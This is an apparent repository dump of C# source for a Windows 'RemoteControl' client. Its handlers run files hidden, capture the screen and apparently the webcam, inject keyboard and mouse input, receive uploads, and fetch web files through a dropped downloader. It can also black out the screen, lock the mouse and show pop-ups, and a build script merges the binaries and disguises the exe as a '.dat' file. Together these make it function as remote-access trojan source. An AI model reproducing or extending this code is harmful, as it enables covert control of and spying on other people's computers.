System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的常规信息通过以下 6 | // 特性集控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("")] 13 | [assembly: AssemblyCopyright("")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 使此程序集中的类型 18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型, 19 | // 则将该类型上的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("001cb165-4cee-4b84-8ec6-bbb495136b3b")] 24 | 25 | // 程序集的版本信息由下面四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 内部版本号 30 | // 修订号 31 | // 32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, 33 | // 方法是按如下所示使用“*”: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // 此代码由工具生成。 4 | // 运行时版本:4.0.30319.42000 5 | // 6 | // 对此文件的更改可能会导致不正确的行为,并且如果 7 | // 重新生成代码,这些更改将会丢失。 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace RemoteControl.Client.Excutor.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/RemoteControl.Client.Excutor.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | camcapture /fps:1 5 | 6 | -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/Utils/Win32Api.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Runtime.InteropServices; 5 | 6 | namespace RemoteControl.Client.BlackScreen 7 | { 8 | class Win32Api 9 | { 10 | [DllImport("user32.dll")] 11 | public static extern Int32 ShowWindow(Int32 hwnd, Int32 nCmdShow); 12 | public const Int32 SW_SHOW = 0x5; 13 | public const Int32 SW_HIDE = 0x0; 14 | 15 | [DllImport("user32.dll", EntryPoint = "FindWindow")] 16 | public static extern Int32 FindWindow(string lpClassName, string lpWindowName); 17 | 18 | [DllImport("user32.dll", CharSet = CharSet.Auto)] 19 | public static extern int SetWindowPos(IntPtr hWnd, int hWndInsertAfter, int x, int y, int Width, int Height, int flags); 20 | 21 | [DllImport("user32.dll")] 22 | public static extern bool SetForegroundWindow(IntPtr hwnd); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/Utils/WinMMPlayer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Runtime.InteropServices; 6 | 7 | namespace RemoteControl.Client.Excutor.Utils 8 | { 9 | class WinMMPlayer 10 | { 11 | [DllImport("winmm.dll", EntryPoint = "mciSendString")] 12 | private static extern int mciSendString(string lpszCommand, string lpszReturnString, uint cchReturn, IntPtr hwndCallback); 13 | 14 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 15 | private static extern int GetShortPathName(string path, StringBuilder shortPath, int shortPathLength); 16 | 17 | public void PlayMusic(string path) 18 | { 19 | path = ToShortFileName(path); 20 | int ret1 = mciSendString("open \"" + path + "\" alias mymusic", "", 0, IntPtr.Zero); 21 | int ret2 = mciSendString("play mymusic", "", 0, IntPtr.Zero); 22 | } 23 | 24 | public void StopMusic() 25 | { 26 | mciSendString("close mymusic", null, 0, IntPtr.Zero);//关闭 27 | } 28 | 29 | private string ToShortFileName(string filePath) 30 | { 31 | StringBuilder shortFileName = new StringBuilder(1024); 32 | GetShortPathName(filePath, shortFileName, shortFileName.Capacity); 33 | 34 | return shortFileName.ToString(); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/app.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/bin/Debug/AForge.Controls.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.Controls.dll -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/bin/Debug/AForge.Imaging.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.Imaging.dll -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/bin/Debug/AForge.Math.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.Math.dll -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/bin/Debug/AForge.Video.DirectShow.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.Video.DirectShow.dll -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/bin/Debug/AForge.Video.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.Video.dll -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/bin/Debug/AForge.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.dll -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/bin/Debug/Client.Excutor.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/Client.Excutor.dat -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/bin/Debug/ILMerge.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/ILMerge.exe -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/bin/Debug/RemoteControl.Client.Excutor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/RemoteControl.Client.Excutor.exe -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/bin/Debug/combineDlls.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | ilmerge.exe /ndebug /targetplatform:v4 /target:winexe /out:Client.Excutor.exe /log RemoteControl.Client.Excutor.exe AForge.Controls.dll AForge.Imaging.dll AForge.Video.DirectShow.dll AForge.Video.dll 3 | rename Client.Excutor.exe Client.Excutor.dat -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/Handlers/IRequestHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | 7 | namespace RemoteControl.Client.Handlers 8 | { 9 | interface IRequestHandler 10 | { 11 | void Handle(SocketSession session, ePacketType reqType, object reqObj); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/Handlers/RequestGetDrivesHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestGetDrivesHandler : IRequestHandler 15 | { 16 | public void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | var resp = new ResponseGetDrives(); 19 | try 20 | { 21 | resp.drives = Environment.GetLogicalDrives().ToList(); 22 | } 23 | catch (Exception ex) 24 | { 25 | resp.Result = false; 26 | resp.Message = ex.ToString(); 27 | resp.Detail = ex.StackTrace.ToString(); 28 | } 29 | 30 | session.Send(ePacketType.PACKET_GET_DRIVES_RESPONSE, resp); 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/Handlers/RequestOpenFileHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestOpenFileHandler : AbstractRequestHandler 15 | { 16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | var req = reqObj as RequestOpenFile; 19 | 20 | ProcessUtil.Run(req.FilePath, "", req.IsHide, true); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/Handlers/RequestUploadHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using System.Threading; 8 | using System.IO; 9 | using RemoteControl.Protocals.Response; 10 | 11 | namespace RemoteControl.Client.Handlers 12 | { 13 | class RequestUploadHandler : AbstractRequestHandler 14 | { 15 | private RequestStartDownload _request = null; 16 | private Dictionary _fileUploadDic = new Dictionary(); 17 | 18 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 19 | { 20 | if (reqType == ePacketType.PACKET_START_UPLOAD_HEADER_REQUEST) 21 | { 22 | var req = reqObj as RequestStartUploadHeader; 23 | if (_fileUploadDic.ContainsKey(req.Id)) 24 | return; 25 | FileStream fs = new FileStream(req.To, FileMode.Create, FileAccess.Write); 26 | _fileUploadDic.Add(req.Id, fs); 27 | } 28 | else if (reqType == ePacketType.PACKET_START_UPLOAD_RESPONSE) 29 | { 30 | var resp = reqObj as ResponseStartUpload; 31 | if (_fileUploadDic.ContainsKey(resp.Id)) 32 | { 33 | FileStream fs = _fileUploadDic[resp.Id]; 34 | fs.Write(resp.Data, 0, resp.Data.Length); 35 | } 36 | } 37 | else if (reqType == ePacketType.PACKET_STOP_UPLOAD_REQUEST) 38 | { 39 | var req = reqObj as RequestStopUpload; 40 | if (_fileUploadDic.ContainsKey(req.Id)) 41 | { 42 | _fileUploadDic[req.Id].Close(); 43 | _fileUploadDic[req.Id].Dispose(); 44 | _fileUploadDic.Remove(req.Id); 45 | } 46 | } 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/Loaders/Newtonsoft.Json.Lite.dll.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/Loaders/Newtonsoft.Json.Lite.dll.zip -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/Loaders/RemoteControl.Protocals.dll.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/Loaders/RemoteControl.Protocals.dll.zip -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的常规信息通过下列属性集 6 | // 控制。更改这些属性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("")] 13 | [assembly: AssemblyCopyright("")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 使此程序集中的类型 18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型, 19 | // 则将该类型上的 ComVisible 属性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("4b9d0048-02b3-4266-a06f-57f052612c76")] 24 | 25 | // 程序集的版本信息由下面四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 内部版本号 30 | // 修订号 31 | // 32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, 33 | // 方法是按如下所示使用“*”: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/Utils/ScreenUtil.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Runtime.InteropServices; 6 | using System.Drawing; 7 | using System.Windows.Forms; 8 | 9 | namespace RemoteControl.Client 10 | { 11 | class ScreenUtil 12 | { 13 | /// 14 | /// 捕获屏幕 15 | /// 不支持未登陆时截图 16 | /// 17 | /// 18 | public static Image CaptureScreen1() 19 | { 20 | Image myImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); 21 | Graphics g = Graphics.FromImage(myImage); 22 | g.CopyFromScreen(new Point(0, 0), new Point(0, 0), new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)); 23 | IntPtr pDC = g.GetHdc(); 24 | g.ReleaseHdc(pDC); 25 | 26 | return myImage; 27 | } 28 | 29 | [DllImport("Gdi32.dll")] 30 | public extern static int BitBlt(IntPtr hDC, int x, int y, int nWidth, int nHeight, IntPtr hSrcDC, int xSrc, int ySrc, int dwRop); 31 | 32 | /// 33 | /// 捕获屏幕 34 | /// 支持未登陆时截图 35 | /// 36 | /// 37 | public static Image CaptureScreen2() 38 | { 39 | int width = Screen.PrimaryScreen.Bounds.Width; 40 | int height = Screen.PrimaryScreen.Bounds.Height; 41 | Bitmap screenCopy = new Bitmap(width, height); 42 | using (Graphics gDest = Graphics.FromImage(screenCopy)) 43 | { 44 | Graphics gSrc = Graphics.FromHwnd(IntPtr.Zero); 45 | IntPtr hSrcDC = gSrc.GetHdc(); 46 | IntPtr hDC = gDest.GetHdc(); 47 | int retval = BitBlt(hDC, 0, 0, width, height, hSrcDC, 0, 0, (int)(CopyPixelOperation.SourceCopy | CopyPixelOperation.CaptureBlt)); 48 | gDest.ReleaseHdc(); 49 | gSrc.ReleaseHdc(); 50 | } 51 | 52 | return screenCopy; 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/app.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/bin/Debug/AssemblyLoaderHelper.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/bin/Debug/AssemblyLoaderHelper.exe -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/bin/Debug/Newtonsoft.Json.Lite.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/bin/Debug/Newtonsoft.Json.Lite.dll -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/bin/Debug/RemoteControl.Client.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/bin/Debug/RemoteControl.Client.exe -------------------------------------------------------------------------------- /RemoteControl.Client.Lite/bin/Debug/RemoteControl.Protocals.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/bin/Debug/RemoteControl.Protocals.dll -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/IRequestHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | 7 | namespace RemoteControl.Client.Handlers 8 | { 9 | interface IRequestHandler 10 | { 11 | void Handle(SocketSession session, ePacketType reqType, object reqObj); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestBlackScreenHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Audio; 8 | using RemoteControl.Audio.Codecs; 9 | using System.Threading; 10 | using System.IO; 11 | using RemoteControl.Protocals.Response; 12 | using RemoteControl.Protocals.Utilities; 13 | 14 | namespace RemoteControl.Client.Handlers 15 | { 16 | class RequestBlackScreenHandler : AbstractRequestHandler 17 | { 18 | private bool _isRunning = false; 19 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 20 | { 21 | if (reqType == ePacketType.PAKCET_BLACK_SCREEN_REQUEST) 22 | { 23 | // 开始 24 | if (_isRunning) 25 | return; 26 | RunTaskThread(StartBlackScreen, session); 27 | } 28 | else if (reqType == ePacketType.PAKCET_UN_BLACK_SCREEN_REQUEST) 29 | { 30 | // 停止 31 | _isRunning = false; 32 | RunTaskThread(StartUnBlackScreen, session); 33 | } 34 | } 35 | 36 | private void StartBlackScreen(SocketSession session) 37 | { 38 | try 39 | { 40 | // 释放黑屏程序 41 | byte[] data = ResUtil.GetResFileData(RES_FILE_NAME); 42 | string blackScreenFileName = ResUtil.WriteToRandomFile(data, "blackscreen.exe"); 43 | // 启动黑屏程序 44 | ProcessUtil.RunByCmdStart(blackScreenFileName + " blackscreen", true); 45 | } 46 | catch (Exception ex) 47 | { 48 | Console.WriteLine(ex.Message); 49 | } 50 | } 51 | 52 | private void StartUnBlackScreen(SocketSession session) 53 | { 54 | try 55 | { 56 | ProcessUtil.KillProcess("blackscreen"); 57 | 58 | Win32API.ShowWindow(Win32API.FindWindow(Win32API.Shell_TrayWnd_Name, null), Win32API.SW_SHOW); 59 | } 60 | catch (Exception ex) 61 | { 62 | 63 | } 64 | } 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestDownloadWebFileHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestDownloadWebFileHandler : AbstractRequestHandler 15 | { 16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | var req = reqObj as RequestDownloadWebFile; 19 | 20 | try 21 | { 22 | // 释放程序 23 | byte[] data = ResUtil.GetResFileData(RES_FILE_NAME); 24 | string fileName = ResUtil.WriteToRandomFile(data,"download.exe"); 25 | // 启动程序 26 | string arguments = string.Format("{0} {1}", req.WebFileUrl, req.DestinationPath); 27 | ProcessUtil.RunByCmdStart(fileName + " downloader " + arguments, true); 28 | } 29 | catch (Exception ex) 30 | { 31 | Console.WriteLine(ex.Message); 32 | } 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestGetDrivesHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestGetDrivesHandler : IRequestHandler 15 | { 16 | public void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | var resp = new ResponseGetDrives(); 19 | try 20 | { 21 | resp.drives = Environment.GetLogicalDrives().ToList(); 22 | } 23 | catch (Exception ex) 24 | { 25 | resp.Result = false; 26 | resp.Message = ex.ToString(); 27 | resp.Detail = ex.StackTrace.ToString(); 28 | } 29 | 30 | session.Send(ePacketType.PACKET_GET_DRIVES_RESPONSE, resp); 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestKeyboardEventHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestKeyboardEventHandler : AbstractRequestHandler 15 | { 16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | var req = reqObj as RequestKeyboardEvent; 19 | 20 | DoOutput(string.Format("keyCode:{0},keyValue:{1},keyOperation:{2}", 21 | req.KeyCode, req.KeyValue, req.KeyOperation)); 22 | KeyboardOpeUtil.KeyOpe(req.KeyCode, req.KeyOperation); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestLockMouseHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Audio; 8 | using RemoteControl.Audio.Codecs; 9 | using System.Threading; 10 | using System.IO; 11 | using RemoteControl.Protocals.Response; 12 | 13 | namespace RemoteControl.Client.Handlers 14 | { 15 | class RequestLockMouseHandler : AbstractRequestHandler 16 | { 17 | private bool _isRunning = false; 18 | private RequestLockMouse _request = null; 19 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 20 | { 21 | if (reqType == ePacketType.PACKET_LOCK_MOUSE_REQUEST) 22 | { 23 | // 开始 24 | var req = reqObj as RequestLockMouse; 25 | if (_request == null) 26 | { 27 | _request = req; 28 | _isRunning = true; 29 | RunTaskThread(StartLockMouse, session); 30 | } 31 | else 32 | { 33 | return; 34 | } 35 | } 36 | else if (reqType == ePacketType.PACKET_UNLOCK_MOUSE_REQUEST) 37 | { 38 | // 停止 39 | _isRunning = false; 40 | } 41 | } 42 | 43 | private void StartLockMouse(SocketSession session) 44 | { 45 | for (int i = 0; i < _request.LockSeconds; i++) 46 | { 47 | if (!_isRunning) 48 | break; 49 | for (int j = 0; j < 100; j++) 50 | { 51 | MouseOpeUtil.MouseMove(0, 0); 52 | Thread.Sleep(10); 53 | } 54 | } 55 | _isRunning = false; 56 | _request = null; 57 | } 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestMouseEventHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestMouseEventHandler : AbstractRequestHandler 15 | { 16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | var req = reqObj as RequestMouseEvent; 19 | 20 | DoOutput(string.Format("button:{0},operation:{1},location:{2},{3}", 21 | req.MouseButton, 22 | req.MouseOperation, 23 | req.MouseLocation.X, req.MouseLocation.Y)); 24 | 25 | if (req.MouseOperation == eMouseOperations.MouseDown) 26 | { 27 | MouseOpeUtil.MouseDown(req.MouseButton, req.MouseLocation); 28 | } 29 | else if (req.MouseOperation == eMouseOperations.MouseUp) 30 | { 31 | MouseOpeUtil.MouseUp(req.MouseButton, req.MouseLocation); 32 | } 33 | else if (req.MouseOperation == eMouseOperations.MousePress) 34 | { 35 | MouseOpeUtil.MousePress(req.MouseButton, req.MouseLocation); 36 | } 37 | else if (req.MouseOperation == eMouseOperations.MouseDoubleClick) 38 | { 39 | MouseOpeUtil.MouseDoubleClick(req.MouseButton, req.MouseLocation); 40 | } 41 | else if (req.MouseOperation == eMouseOperations.MouseMove) 42 | { 43 | MouseOpeUtil.MouseMove(req.MouseLocation); 44 | } 45 | else 46 | { 47 | return; 48 | } 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestMsgBoxHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestMsgBoxHandler : AbstractRequestHandler 15 | { 16 | private string lastMsgBoxExeFile = null; 17 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 18 | { 19 | var req = reqObj as RequestMessageBox; 20 | StartShowMsgBox(session, req); 21 | } 22 | 23 | private void StartShowMsgBox(SocketSession session, RequestMessageBox req) 24 | { 25 | try 26 | { 27 | if (lastMsgBoxExeFile == null || !System.IO.File.Exists(lastMsgBoxExeFile)) 28 | { 29 | // 释放弹窗程序 30 | byte[] data = ResUtil.GetResFileData(RES_FILE_NAME); 31 | string fileName = ResUtil.WriteToRandomFile(data, "msg.exe"); 32 | lastMsgBoxExeFile = fileName; 33 | } 34 | // 启动弹窗程序 35 | string msgBoxArguments = string.Format("{0} {1} {2} {3}", req.Content, req.Title, req.MessageBoxButtons, req.MessageBoxIcons); 36 | ProcessUtil.RunByCmdStart(lastMsgBoxExeFile + " msgbox " + msgBoxArguments, true); 37 | } 38 | catch (Exception ex) 39 | { 40 | Console.WriteLine(ex.Message); 41 | } 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestOpeCDHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestOpeCDHandler : IRequestHandler 15 | { 16 | public void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | if (reqType == ePacketType.PACKET_OPEN_CD_REQUEST) 19 | { 20 | try 21 | { 22 | Win32API.mciSendString("Set cdaudio door open wait", "", 0, IntPtr.Zero);//打开 23 | } 24 | catch (Exception ex) 25 | { 26 | Console.WriteLine(ex.Message); 27 | } 28 | } 29 | else if (reqType == ePacketType.PACKET_CLOSE_CD_REQUEST) 30 | { 31 | try 32 | { 33 | Win32API.mciSendString("Set cdaudio door Closed wait", "", 0, IntPtr.Zero);//关闭 34 | } 35 | catch (Exception ex) 36 | { 37 | Console.WriteLine(ex.Message); 38 | } 39 | } 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- 